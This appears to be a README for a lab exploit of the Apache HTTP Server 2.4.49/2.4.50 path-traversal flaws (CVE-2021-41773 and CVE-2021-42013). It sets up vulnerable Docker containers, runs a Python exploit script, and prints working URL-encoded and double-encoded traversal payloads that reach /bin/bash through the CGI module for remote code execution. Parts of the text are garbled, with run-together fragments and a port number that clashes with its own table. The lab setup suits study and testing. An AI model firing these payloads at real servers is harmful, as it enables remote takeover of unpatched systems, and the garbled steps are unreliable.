
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside these directories are not protected by default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased paths, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was incomplete, see CVE-2021-42013.
pip3 install colorama)perl CGI script running in the container(s)Start a vulnerable Apache httpd (with default configuration) as docker/podman container.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 select attack on version 2.4.49
1.3 python3 main.py localhost:2450
1.4 select attack on version 2.4.50
The Exploit will utilize Apache httpds CGI module to allow execution of arbitrary executables through path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ is url-encoded and equals to ../ if decoded.
.%%32%658 is double url-encoded and equals also to ../ if decoded.